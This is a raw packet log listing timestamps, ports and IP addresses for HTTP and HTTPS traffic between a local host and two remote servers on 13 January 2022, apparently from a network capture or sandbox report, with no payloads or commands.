Jan 13, 2022 20:50:19.798532009 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.798578024 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.798604965 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.798629045 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.798649073 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.798660040 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.798692942 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.799362898 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.799405098 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.799432039 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.799453974 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.799470901 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.799521923 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.799722910 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.799762011 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.799813986 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.842021942 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.842050076 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.842128992 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.854492903 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854528904 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854548931 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854576111 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854625940 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.854657888 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.854861975 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854911089 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854935884 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.854953051 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.854960918 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.854988098 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855031967 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.855232954 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855284929 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855309010 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855333090 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.855346918 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855412006 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.855556011 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855581999 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.855664968 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.897578001 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.897613049 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.897666931 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.915466070 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915523052 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915550947 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915576935 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915599108 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.915618896 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915643930 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.915674925 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915700912 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915724993 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.915736914 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.915795088 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.916117907 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.916167021 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.916235924 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.918697119 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.918725967 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.918802977 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.918864012 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.918889999 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.918942928 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.919178963 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.953413963 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.953448057 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.953500986 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.970829010 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.970863104 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.970886946 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.970911980 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.970937014 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.970961094 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.970984936 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.971003056 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.971031904 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.971070051 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.971860886 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.971887112 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.971990108 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.974534035 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.974560976 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.974586964 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.974597931 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:19.974625111 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:19.974634886 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.008562088 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.008622885 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.008631945 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.026588917 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.026627064 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.026650906 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.026678085 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.026721001 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.026746035 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.028450966 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028489113 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028512955 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028537989 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028565884 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.028600931 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.028645992 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028672934 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028700113 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028712988 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.028736115 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.028747082 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.030214071 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.030247927 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.030312061 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.063893080 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.063945055 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.063955069 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.082045078 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.082077026 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.082102060 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.082127094 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.082138062 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.082169056 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.082947969 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.083003998 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.083034039 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.084100962 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.084144115 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.084160089 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.084183931 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.084197998 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.084496021 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.089567900 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.089597940 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.089622021 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.089632034 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.089659929 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.089670897 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.090497017 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.090524912 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.090553045 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.090560913 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.090611935 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.123651028 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.137329102 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.137356997 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.137375116 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.137408972 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.137480021 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.137541056 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.138276100 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.138300896 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.138345003 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.140763044 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.140789032 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.140815020 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.140841007 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.140852928 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.140894890 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.140923023 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.140974045 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.141050100 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.147114038 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.147149086 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.147167921 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.147326946 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.147824049 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.147854090 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.147880077 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.148040056 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.153297901 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.153392076 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.193588972 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.193650961 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.193692923 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.193733931 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.193736076 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.193794012 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.194142103 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.194192886 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.194272995 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.196201086 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.196244955 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.196285009 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.196306944 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.196322918 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.196388960 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.198791981 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.198833942 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.198942900 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.199944019 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:20.201091051 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.201220989 CET	49725	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:20.256541967 CET	80	49725	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:21.529032946 CET	49726	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:21.585292101 CET	80	49726	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:21.585441113 CET	49726	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:21.585581064 CET	49726	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:21.585597992 CET	49726	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:21.643034935 CET	80	49726	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:21.713831902 CET	80	49726	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:21.713886976 CET	80	49726	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:21.713985920 CET	49726	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:21.714217901 CET	49726	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:21.771347046 CET	80	49726	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.110615969 CET	49727	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.166265011 CET	80	49727	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.168677092 CET	49727	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.168925047 CET	49727	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.168941975 CET	49727	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.224726915 CET	80	49727	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.273152113 CET	80	49727	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.273241997 CET	49727	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.273540974 CET	49727	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.328675032 CET	80	49727	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.579303980 CET	49728	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.635588884 CET	80	49728	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.635704994 CET	49728	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.635977983 CET	49728	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.639295101 CET	49728	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.693104029 CET	80	49728	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.697216034 CET	80	49728	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.749624014 CET	80	49728	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.749706984 CET	49728	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.771085024 CET	49728	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:22.799423933 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:22.799463987 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:22.799566984 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:22.800563097 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:22.800580978 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:22.826805115 CET	80	49728	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:22.867057085 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:22.867199898 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:23.257031918 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:23.257076979 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:23.257414103 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:23.273669004 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:23.291588068 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:23.291734934 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:23.291805029 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:23.291901112 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:23.291920900 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:23.291934013 CET	49729	443	192.168.2.5	185.233.81.115
Jan 13, 2022 20:50:23.291939974 CET	443	49729	185.233.81.115	192.168.2.5
Jan 13, 2022 20:50:23.333950043 CET	49730	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:23.393508911 CET	80	49730	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:23.393693924 CET	49730	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:23.393804073 CET	49730	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:23.393816948 CET	49730	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:23.448875904 CET	80	49730	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:23.498049974 CET	80	49730	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:23.498142958 CET	49730	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:23.498614073 CET	49730	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:23.555080891 CET	80	49730	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.216289043 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.272424936 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.272599936 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.273135900 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.365253925 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365284920 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365299940 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365317106 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365333080 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365350008 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365365982 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365381956 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365397930 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.365427017 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.365503073 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.421267033 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.421484947 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.421834946 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.421871901 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.421889067 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.421906948 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.421976089 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.422000885 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.422010899 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.422020912 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.422065020 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.480350018 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.480511904 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.480566025 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.480601072 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.480608940 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.480664015 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.480665922 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.481007099 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.481096983 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.481156111 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.481200933 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.481251955 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.541136980 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541182995 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541207075 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541232109 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541255951 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541277885 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541302919 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541327953 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.541352034 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.541397095 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.600016117 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600060940 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600085020 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600109100 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600234032 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.600795984 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600828886 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600853920 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600879908 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.600980997 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.656187057 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656229973 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656258106 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656280994 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656336069 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.656373024 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.656898975 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656929970 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656956911 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.656980038 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.657006025 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.657032967 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.712594032 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712635994 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712661028 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712686062 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712699890 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.712730885 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.712762117 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712790966 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712816000 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712842941 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.712863922 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.712891102 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.713089943 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.713139057 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.713186026 CET	49731	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:50:24.769324064 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.769367933 CET	80	49731	45.135.233.182	192.168.2.5
Jan 13, 2022 20:50:24.769392967 CET	80	49731	45.135.233.182	192.168.2.5
